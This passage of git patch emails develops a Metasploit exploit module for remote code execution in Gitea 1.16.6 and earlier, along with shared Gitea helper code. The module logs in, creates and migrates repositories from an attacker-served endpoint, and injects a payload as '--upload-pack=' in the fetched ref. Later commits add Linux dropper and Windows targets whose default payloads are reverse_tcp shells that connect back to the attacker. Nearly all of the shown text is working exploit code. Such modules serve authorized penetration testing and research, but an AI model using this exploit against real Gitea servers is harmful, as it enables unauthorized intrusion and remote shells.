'vars_post' => { - 'user_name' => datastore['USERNAME'], - 'password' => datastore['PASSWORD'], - '_csrf' => csrf - }, - 'keep_cookies' => true - ) - return CheckCode::Safe('Authentication failed') if res&.code != 302 - - if Rex::Version.new(match[:version]) <= Rex::Version.new('1.16.6') - return CheckCode::Appears("Version detected: #{match[:version]}") - end - - CheckCode::Safe("Version detected: #{match[:version]}") + CheckCode::Safe("Version detected: #{v}") rescue ::Rex::ConnectionError return CheckCode::Unknown('Could not connect to the web service') + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError, + Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e + return CheckCode::Safe(e.message) end def primer @@ -123,6 +101,8 @@ def primer end def exploit + gitea_login unless datastore['AutoCheck'] + @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}" @@ -132,10 +112,10 @@ def exploit rescue Timeout::Error [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) } cleanup # removing all resources - end - - def get_csrf(cookies) - cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e + fail_with(Failure::UnexpectedReply, e.message) + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::AuthenticationError => e + fail_with(Failure::NoAccess, e.message) end def gitea_remove_repo(name) From 953221d518b773090a29cee36ac7d308a1472205 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Fri, 30 Sep 2022 22:23:40 +0700 Subject: [PATCH 07/31] Handle datastore username empty string --- modules/exploits/unix/webapp/gitea_git_fetch_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index 7c3a9d8899a9..8a427b9fa1ed 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -105,7 +105,7 @@ def exploit @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) - @migrate_repo_path = "#{datastore['username']}/#{@migrate_repo_name}" + @migrate_repo_path = "#{datastore['username'].presence || 'msf'}/#{@migrate_repo_name}" datastore['URIPATH'] = "/#{@migrate_repo_path}" Timeout.timeout(datastore['HTTPDELAY']) { super } From 88e4261a88c1eb5081d0f9ab397d8481bd7a4dbe Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:10:55 +0700 Subject: [PATCH 08/31] Add common lib for Gitea repository --- lib/msf/core/exploit/remote/http/gitea.rb | 1 + .../exploit/remote/http/gitea/repository.rb | 92 +++++++++++++++++++ 2 files changed, 93 insertions(+) create mode 100644 lib/msf/core/exploit/remote/http/gitea/repository.rb diff --git a/lib/msf/core/exploit/remote/http/gitea.rb b/lib/msf/core/exploit/remote/http/gitea.rb index de88189d5862..e66e597a8260 100644 --- a/lib/msf/core/exploit/remote/http/gitea.rb +++ b/lib/msf/core/exploit/remote/http/gitea.rb @@ -13,6 +13,7 @@ module Gitea include Msf::Exploit::Remote::HTTP::Gitea::Login include Msf::Exploit::Remote::HTTP::Gitea::Error include Msf::Exploit::Remote::HTTP::Gitea::URIs + include Msf::Exploit::Remote::HTTP::Gitea::Repository def initialize(info = {}) super diff --git a/lib/msf/core/exploit/remote/http/gitea/repository.rb b/lib/msf/core/exploit/remote/http/gitea/repository.rb new file mode 100644 index 000000000000..69d7a5d3ddb5 --- /dev/null +++ b/lib/msf/core/exploit/remote/http/gitea/repository.rb @@ -0,0 +1,92 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Gitea::Repository + # performs a gitea repository creation + # + # @param name [String] Repository name + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + def gitea_create_repo(name, timeout = 20) + res = send_request_cgi({ + 'uri' => gitea_url_repo_create, + 'keep_cookies' => true + }, timeout) + return nil unless res + + uid = gitea_get_repo_uid(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to get repo uid') unless uid + + csrf = gitea_get_csrf(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => gitea_url_repo_create, + 'vars_post' => gitea_helper_repo_create_post_data(name, uid, csrf), + 'keep_cookies' => true + ) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError.new('Unable to create repo') if res&.code != 302 + return uid + end + + # performs a gitea repository migration + # + # @param name [String] Repository name + # @param name [String] Repository uid + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + def gitea_migrate_repo(name, uid, url, token, timeout = 20) + res = send_request_cgi({ + 'uri' => gitea_url_repo_migrate, + 'keep_cookies' => true + }, timeout) + return nil unless res + + uri = gitea_get_service_type_uri(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::WebError.new('Unable to get service type uri') unless uri + + service = Rack::Utils.parse_query(URI.parse(uri).query)['service_type'] + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, uri), + 'keep_cookies' => true + ) + csrf = gitea_get_csrf(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf + + res = send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf), + 'keep_cookies' => true + ) + if res&.code != 302 # possibly triggered by the [migrations] settings + err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text + raise Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError.new(err) + end + end + + # performs a gitea repository deletion + # + # @param path [String] Repository path + # @param timeout [Integer] The maximum number of seconds to wait before the request times out + # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + def gitea_remove_repo(path, timeout = 20) + uri = gitea_url_repo_settings(path) + res = send_request_cgi({ + 'uri' => uri, + 'keep_cookies' => true + }, timeout) + return nil unless res + + csrf = gitea_get_csrf(res) + raise Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError.new unless csrf + + name = path.split('/').last + send_request_cgi( + 'method' => 'POST', + 'uri' => uri, + 'vars_post' => gitea_helper_repo_remove_post_data(name, csrf), + 'keep_cookies' => true + ) + end +end From c5d3867980a21c2f8be1acf11d4adc554ce85fda Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:11:58 +0700 Subject: [PATCH 09/31] add migration error class --- lib/msf/core/exploit/remote/http/gitea/error.rb | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/error.rb b/lib/msf/core/exploit/remote/http/gitea/error.rb index 70f30fab93d6..7575ad7c477a 100644 --- a/lib/msf/core/exploit/remote/http/gitea/error.rb +++ b/lib/msf/core/exploit/remote/http/gitea/error.rb @@ -1,12 +1,10 @@ # -*- coding: binary -*- module Msf::Exploit::Remote::HTTP::Gitea::Error - class WebError < :: StandardError + class WebError < ::StandardError def initialize(message: nil) super(message || 'Gitea WebError') end - - attr_reader :res end class CsrfError < WebError @@ -20,4 +18,10 @@ def initialize super(message: 'Authentication failed') end end + + class MigrationError < WebError + def initialize(message) + super(message: "Unable to migrate repo: #{message}") + end + end end From 29944a0a1b488fb431eb39e4ae0425b2efc541f6 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:12:54 +0700 Subject: [PATCH 10/31] add repository create and migrate url --- .../core/exploit/remote/http/gitea/uris.rb | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/lib/msf/core/exploit/remote/http/gitea/uris.rb b/lib/msf/core/exploit/remote/http/gitea/uris.rb index 23b9d1fc3e78..4c2b3168f714 100644 --- a/lib/msf/core/exploit/remote/http/gitea/uris.rb +++ b/lib/msf/core/exploit/remote/http/gitea/uris.rb @@ -7,4 +7,25 @@ module Msf::Exploit::Remote::HTTP::Gitea::URIs def gitea_url_login normalize_uri(target_uri.path, 'user', 'login') end + + # Returns the Gitea Create repository URL + # + # @return [String] Gitea Create repository URL + def gitea_url_repo_create + normalize_uri(target_uri.path, 'repo', 'create') + end + + # Returns the Gitea Migrate repository URL + # + # @return [String] Gitea Migrate repository URL + def gitea_url_repo_migrate + normalize_uri(target_uri.path, 'repo', 'migrate') + end + + # Returns the Gitea Settings repository URL + # + # @return [String] Gitea Settings repository URL + def gitea_url_repo_settings(path) + normalize_uri(target_uri.path, path, 'settings') + end end From cc2db82886767265447320211f1c4496a00a755c Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:13:28 +0700 Subject: [PATCH 11/31] add repository create and migrate helpers --- .../core/exploit/remote/http/gitea/helpers.rb | 73 ++++++++++++++++++- 1 file changed, 72 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/helpers.rb b/lib/msf/core/exploit/remote/http/gitea/helpers.rb index be15ea28e669..84516c43e961 100644 --- a/lib/msf/core/exploit/remote/http/gitea/helpers.rb +++ b/lib/msf/core/exploit/remote/http/gitea/helpers.rb @@ -13,11 +13,27 @@ def gitea_get_csrf(res) res&.get_cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last end + # Returns string for Gitea repository uid + # + # @param res [Rex::Proto::Http::Response] Rex HTTP Response object + # @return [String,nil] repo uid string if found, nil otherwise + def gitea_get_repo_uid(res) + res&.get_html_document&.at('//input[@id="uid"]/@value')&.text + end + + # Returns string for Gitea service type uri + # + # @param res [Rex::Proto::Http::Response] Rex HTTP Response object + # @return [String,nil] Gitea service type uri string if found, nil otherwise + def gitea_get_service_type_uri(res) + res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text + end + # Returns the POST data for a Gitea login request # # @param user [String] Username # @param pass [String] Password - # @param csrf [String] login csrf + # @param csrf [String] Login csrf # @return [Hash] The post data for vars_post Parameter def gitea_helper_login_post_data(user, pass, csrf) post_data = { @@ -27,4 +43,59 @@ def gitea_helper_login_post_data(user, pass, csrf) } post_data end + + # Returns the POST data for a Gitea create repository request + # + # @param name [String] Repository name + # @param uid [String] Repository uid + # @param csrf [String] Login csrf + # @return [Hash] The post data for vars_post Parameter + def gitea_helper_repo_create_post_data(name, uid, csrf) + post_data = { + 'uid' => uid, + 'auto_init' => 'on', + 'readme' => 'Default', + 'repo_name' => name, + 'trust_model' => 'default', + 'default_branch' => 'master', + '_csrf' => csrf + } + post_data + end + + # Returns the POST data for a Gitea remove repository request + # + # @param name [String] Repository path + # @param csrf [String] Login csrf + # @return [Hash] The post data for vars_post Parameter + def gitea_helper_repo_remove_post_data(name, csrf) + post_data = { + 'action' => 'delete', + 'repo_name' => name, + '_csrf' => csrf + } + post_data + end + + # Returns the POST data for a Gitea migrate repository request + # + # @param name [String] Repository name + # @param uid [String] Repository uid + # @param service [String] Service id + # @param url [String] Repository name + # @param token [String] Repository auth token + # @param csrf [String] Login csrf + # @return [Hash] The post data for vars_post Parameter + def gitea_helper_repo_migrate_post_data(name, uid, service, url, token, csrf) + post_data = { + 'uid' => uid, + 'service' => service, + 'pull_requests' => 'on', + 'repo_name' => name, + '_csrf' => csrf, + 'auth_token' => token, + 'clone_addr' => url + } + post_data + end end From 2331f21f9e28d88e98a275529a40d24a0e35384b Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 01:16:18 +0700 Subject: [PATCH 12/31] Update module - adjust create, migrate and delete repository with the common lib --- .../unix/webapp/gitea_git_fetch_rce.rb | 127 +++++------------- 1 file changed, 30 insertions(+), 97 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index 8a427b9fa1ed..56ff1c9fd8b6 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -72,7 +72,11 @@ def check v = gitea_version(res) return CheckCode::Detected('Unable to determine Gitea version') unless v - gitea_login(datastore['username'], datastore['password']) + cookies = gitea_login(datastore['username'], datastore['password']) + cookies.each do |cookie| + cookie_jar.add(cookie) + end + if Rex::Version.new(v) <= Rex::Version.new('1.16.6') return CheckCode::Appears("Version detected: #{v}") end @@ -94,23 +98,41 @@ def primer ].each { |uri| hardcoded_uripath(uri) } # adding resources vprint_status("Creating repository \"#{@repo_name}\"") - gitea_create_repo + uid = gitea_create_repo(@repo_name) vprint_good('Repository created') vprint_status('Migrating repository') - gitea_migrate_repo + clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" + auth_token = rand_text_alphanumeric(6..15) + gitea_migrate_repo(@migrate_repo_name, uid, clone_url, auth_token) + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::RepositoryError, + Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e + fail_with(Failure::UnexpectedReply, e.message) + rescue Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError => e + cleanup + res = gitea_remove_repo(repo_path(@repo_name)) + vprint_warning('Unable to remove repository') if res&.code != 302 + fail_with(Failure::UnexpectedReply, e.message) end def exploit - gitea_login unless datastore['AutoCheck'] + unless datastore['AutoCheck'] + cookies = gitea_login(datastore['username'], datastore['password']) + cookies.each do |cookie| + cookie_jar.add(cookie) + end + end @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) - @migrate_repo_path = "#{datastore['username'].presence || 'msf'}/#{@migrate_repo_name}" + @migrate_repo_path = repo_path(@migrate_repo_name) datastore['URIPATH'] = "/#{@migrate_repo_path}" Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error - [@repo_name, @migrate_repo_name].map { |name| gitea_remove_repo(name) } + [@repo_name, @migrate_repo_name].each do |name| + res = gitea_remove_repo(repo_path(name)) + vprint_warning('Unable to remove repository') if res&.code != 302 + end cleanup # removing all resources rescue Msf::Exploit::Remote::HTTP::Gitea::Error::CsrfError => e fail_with(Failure::UnexpectedReply, e.message) @@ -118,97 +140,8 @@ def exploit fail_with(Failure::NoAccess, e.message) end - def gitea_remove_repo(name) - vprint_status("Cleanup: removing repository \"#{name}\"") - uri = "/#{datastore['username']}/#{name}/settings" - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, uri), - 'keep_cookies' => true - ) - csrf = get_csrf(res.get_cookies) - fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => { - 'action' => 'delete', - 'repo_name' => name, - '_csrf' => csrf - }, - 'keep_cookies' => true - ) - vprint_warning('Unable to remove repository') if res&.code != 302 - end - - def gitea_create_repo - uri = normalize_uri(target_uri.path, '/repo/create') - res = send_request_cgi('method' => 'GET', 'uri' => uri, 'keep_cookies' => true) - @uid = res&.get_html_document&.at('//input[@id="uid"]/@value')&.text - fail_with(Failure::UnexpectedReply, 'Unable to get repo uid') unless @uid - csrf = get_csrf(res.get_cookies) - fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => { - 'uid' => @uid, - 'auto_init' => 'on', - 'readme' => 'Default', - 'repo_name' => @repo_name, - 'trust_model' => 'default', - 'default_branch' => 'master', - '_csrf' => csrf - }, - 'keep_cookies' => true - ) - fail_with(Failure::UnexpectedReply, 'Unable to create repo') if res&.code != 302 - rescue ::Rex::ConnectionError - fail_with(Failure::Unknown, 'Could not connect to the web service') - end - - def gitea_migrate_repo - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, '/repo/migrate'), - 'keep_cookies' => true - ) - uri = res&.get_html_document&.at('//svg[@class="svg gitea-gitea"]/ancestor::a/@href')&.text - fail_with(Failure::UnexpectedReply, 'Unable to get Gitea service type') unless uri - - svc_type = Rack::Utils.parse_query(URI.parse(uri).query)['service_type'] - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, uri), - 'keep_cookies' => true - ) - csrf = get_csrf(res.get_cookies) - fail_with(Failure::UnexpectedReply, 'Unable to get CSRF token') unless csrf - - res = send_request_cgi( - 'method' => 'POST', - 'uri' => uri, - 'vars_post' => { - 'uid' => @uid, - 'service' => svc_type, - 'pull_requests' => 'on', - 'repo_name' => @migrate_repo_name, - '_csrf' => csrf, - 'auth_token' => rand_text_alphanumeric(6..15), - 'clone_addr' => "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" - }, - 'keep_cookies' => true - ) - if res&.code != 302 # possibly triggered by the [migrations] settings - err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text - gitea_remove_repo(@repo_name) - cleanup - fail_with(Failure::UnexpectedReply, "Unable to migrate repo: #{err}") - end - rescue ::Rex::ConnectionError - fail_with(Failure::Unknown, 'Could not connect to the web service') + def repo_path(name) + "#{datastore['username'].presence || 'msf'}/#{name}" end def on_request_uri(cli, req) From 046bb356fb6ce901b8f8a0b08fd30d07ed520538 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 15:17:28 +0700 Subject: [PATCH 13/31] adjust uripath --- modules/exploits/unix/webapp/gitea_git_fetch_rce.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index 56ff1c9fd8b6..e82ed535b296 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -125,7 +125,6 @@ def exploit @repo_name = rand_text_alphanumeric(6..15) @migrate_repo_name = rand_text_alphanumeric(6..15) @migrate_repo_path = repo_path(@migrate_repo_name) - datastore['URIPATH'] = "/#{@migrate_repo_path}" Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error From 15c956c2d6958990f8fca0a6441842d0f1f58f6e Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 16:19:43 +0700 Subject: [PATCH 14/31] Update module - add command stagers logic - set default uripath --- .../unix/webapp/gitea_git_fetch_rce.rb | 31 +++++++++++++++++-- 1 file changed, 29 insertions(+), 2 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index e82ed535b296..94d28d2c686b 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -10,6 +10,7 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Gitea + include Msf::Exploit::CmdStager def initialize(info = {}) super( @@ -46,9 +47,21 @@ def initialize(info = {}) } } ], + [ + 'Linux Dropper', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_X86, ARCH_X64], + 'Type' => :linux_dropper, + 'DefaultOptions' => { + 'CMDSTAGER::FLAVOR' => :bourne, + 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' + } + } + ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, - 'DefaultTarget' => 0, + 'DefaultTarget' => 1, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], @@ -61,6 +74,7 @@ def initialize(info = {}) Opt::RPORT(3000), OptString.new('USERNAME', [true, 'Username to authenticate with']), OptString.new('PASSWORD', [true, 'Password to use']), + OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']), OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait', 12]) ]) end @@ -100,6 +114,14 @@ def primer vprint_status("Creating repository \"#{@repo_name}\"") uid = gitea_create_repo(@repo_name) vprint_good('Repository created') + + case target['Type'] + when :unix_cmd, :win_cmd + execute_command(payload.encoded) + when :linux_dropper, :win_dropper + execute_cmdstager(background: true, delay: 1) + end + vprint_status('Migrating repository') clone_url = "http://#{srvhost_addr}:#{srvport}/#{@migrate_repo_path}" auth_token = rand_text_alphanumeric(6..15) @@ -114,6 +136,11 @@ def primer fail_with(Failure::UnexpectedReply, e.message) end + def execute_command(cmd, _opts = {}) + print_status("Executing command: #{cmd}") + @p = cmd + end + def exploit unless datastore['AutoCheck'] cookies = gitea_login(datastore['username'], datastore['password']) @@ -168,7 +195,7 @@ def on_request_uri(cli, req) ref: 'master' }, head: { - ref: "--upload-pack=#{payload.encoded}", + ref: "--upload-pack=#{@p}", repo: { clone_url: './', owner: { login: 'master' } From e9d806807868bab7744307b3794a952c61201156 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 16:22:21 +0700 Subject: [PATCH 15/31] update and tidy the lib comments --- .../core/exploit/remote/http/gitea/base.rb | 3 ++- .../core/exploit/remote/http/gitea/login.rb | 6 ++++-- .../exploit/remote/http/gitea/repository.rb | 20 ++++++++++++------- 3 files changed, 19 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/base.rb b/lib/msf/core/exploit/remote/http/gitea/base.rb index ac74ba50a668..f6eb6e2d5500 100644 --- a/lib/msf/core/exploit/remote/http/gitea/base.rb +++ b/lib/msf/core/exploit/remote/http/gitea/base.rb @@ -3,7 +3,8 @@ module Msf::Exploit::Remote::HTTP::Gitea::Base # Checks if the site is online and running gitea # - # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running gitea, nil otherwise + # @return [Rex::Proto::Http::Response,nil] the HTTP response if the site is + # online and running gitea, nil otherwise def gitea_and_online? unless datastore['GITEACHECK'] vprint_status 'Skipping Gitea check...' diff --git a/lib/msf/core/exploit/remote/http/gitea/login.rb b/lib/msf/core/exploit/remote/http/gitea/login.rb index a1a6e15697b8..664227226b8d 100644 --- a/lib/msf/core/exploit/remote/http/gitea/login.rb +++ b/lib/msf/core/exploit/remote/http/gitea/login.rb @@ -5,8 +5,10 @@ module Msf::Exploit::Remote::HTTP::Gitea::Login # # @param user [String] Username # @param pass [String] Password - # @param timeout [Integer] The maximum number of seconds to wait before the request times out - # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + # @param timeout [Integer] The maximum number of seconds to wait before the + # request times out + # @return [HttpCookie,AuthenticationError] the session cookies as a single + # string on successful login, raise AuthenticationError otherwise def gitea_login(user, pass, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_login, diff --git a/lib/msf/core/exploit/remote/http/gitea/repository.rb b/lib/msf/core/exploit/remote/http/gitea/repository.rb index 69d7a5d3ddb5..5f21ef790f62 100644 --- a/lib/msf/core/exploit/remote/http/gitea/repository.rb +++ b/lib/msf/core/exploit/remote/http/gitea/repository.rb @@ -4,8 +4,10 @@ module Msf::Exploit::Remote::HTTP::Gitea::Repository # performs a gitea repository creation # # @param name [String] Repository name - # @param timeout [Integer] The maximum number of seconds to wait before the request times out - # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + # @param timeout [Integer] The maximum number of seconds to wait before the + # request times out + # @return [uid,nil] the repository uid as a single string on successful + # creation, nil otherwise def gitea_create_repo(name, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_repo_create, @@ -33,8 +35,10 @@ def gitea_create_repo(name, timeout = 20) # # @param name [String] Repository name # @param name [String] Repository uid - # @param timeout [Integer] The maximum number of seconds to wait before the request times out - # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + # @param timeout [Integer] The maximum number of seconds to wait before the + # request times out + # @return [Rex::Proto::Http::Response, MigrationError] the HTTP response + # object on successful migration, raise MigrationError otherwise def gitea_migrate_repo(name, uid, url, token, timeout = 20) res = send_request_cgi({ 'uri' => gitea_url_repo_migrate, @@ -63,13 +67,15 @@ def gitea_migrate_repo(name, uid, url, token, timeout = 20) err = res&.get_html_document&.at('//div[contains(@class, flash-error)]/p')&.text raise Msf::Exploit::Remote::HTTP::Gitea::Error::MigrationError.new(err) end + return res end # performs a gitea repository deletion # - # @param path [String] Repository path - # @param timeout [Integer] The maximum number of seconds to wait before the request times out - # @return [HttpCookie,nil] the session cookies as a single string on successful login, nil otherwise + # @param path [String] Repository path (/username/reponame) + # @param timeout [Integer] The maximum number of seconds to wait before the + # request times out + # @return [Rex::Proto::Http::Response] the HTTP response object def gitea_remove_repo(path, timeout = 20) uri = gitea_url_repo_settings(path) res = send_request_cgi({ From 02b5f8678c051cd372d800be879bfb5524b5a8ff Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 17:43:42 +0700 Subject: [PATCH 16/31] add repository error class --- lib/msf/core/exploit/remote/http/gitea/error.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/msf/core/exploit/remote/http/gitea/error.rb b/lib/msf/core/exploit/remote/http/gitea/error.rb index 7575ad7c477a..d44c7fab0a1d 100644 --- a/lib/msf/core/exploit/remote/http/gitea/error.rb +++ b/lib/msf/core/exploit/remote/http/gitea/error.rb @@ -24,4 +24,10 @@ def initialize(message) super(message: "Unable to migrate repo: #{message}") end end + + class RepositoryError < WebError + def initialize(message) + super(message: message) + end + end end From e3fc3544cd75c22c39c986558f02cfcba8acde24 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 17:44:44 +0700 Subject: [PATCH 17/31] still could not yet support windows --- modules/exploits/unix/webapp/gitea_git_fetch_rce.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb index 94d28d2c686b..a80fc02cc274 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb @@ -32,7 +32,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2022-05-16', 'License' => MSF_LICENSE, - 'Platform' => %w[unix win], + 'Platform' => %w[unix], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ @@ -116,9 +116,9 @@ def primer vprint_good('Repository created') case target['Type'] - when :unix_cmd, :win_cmd + when :unix_cmd execute_command(payload.encoded) - when :linux_dropper, :win_dropper + when :linux_dropper execute_cmdstager(background: true, delay: 1) end From aa0dc86bd8ae2642a159fd8a11ab72c57ca88957 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Sat, 1 Oct 2022 19:59:23 +0700 Subject: [PATCH 18/31] get csrf from the html body instead --- lib/msf/core/exploit/remote/http/gitea/helpers.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/remote/http/gitea/helpers.rb b/lib/msf/core/exploit/remote/http/gitea/helpers.rb index 84516c43e961..f149ffcbb2f1 100644 --- a/lib/msf/core/exploit/remote/http/gitea/helpers.rb +++ b/lib/msf/core/exploit/remote/http/gitea/helpers.rb @@ -10,7 +10,7 @@ module Msf::Exploit::Remote::HTTP::Gitea::Helpers # @param res [Rex::Proto::Http::Response] Rex HTTP Response object # @return [String,nil] csrf token if found, nil otherwise def gitea_get_csrf(res) - res&.get_cookies&.split('; ')&.grep(/_csrf=/)&.join&.split('=')&.last + res&.get_html_document&.at('//input[@name="_csrf"]/@value')&.text end # Returns string for Gitea repository uid From bd15798be710ac169969ab48195bd1d4681e0a31 Mon Sep 17 00:00:00 2001 From: krastanoel <87141617+krastanoel@users.noreply.github.com> Date: Mon, 3 Oct 2022 19:57:09 +0700 Subject: [PATCH 19/31] support windows platform --- .../webapp => multi/http}/gitea_git_fetch_rce.rb | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) rename modules/exploits/{unix/webapp => multi/http}/gitea_git_fetch_rce.rb (94%) diff --git a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb b/modules/exploits/multi/http/gitea_git_fetch_rce.rb similarity index 94% rename from modules/exploits/unix/webapp/gitea_git_fetch_rce.rb rename to modules/exploits/multi/http/gitea_git_fetch_rce.rb index a80fc02cc274..8577be862767 100644 --- a/modules/exploits/unix/webapp/gitea_git_fetch_rce.rb +++ b/modules/exploits/multi/http/gitea_git_fetch_rce.rb @@ -32,7 +32,7 @@ def initialize(info = {}) ], 'DisclosureDate' => '2022-05-16', 'License' => MSF_LICENSE, - 'Platform' => %w[unix], + 'Platform' => %w[unix linux win], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Targets' => [ @@ -58,6 +58,17 @@ def initialize(info = {}) 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } + ], + [ + 'Windows Command', + { + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'Type' => :win_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' + } + } ] ], 'DefaultOptions' => { 'WfsDelay' => 30 }, @@ -116,7 +127,7 @@ def primer vprint_good('Repository created') case target['Type'] - 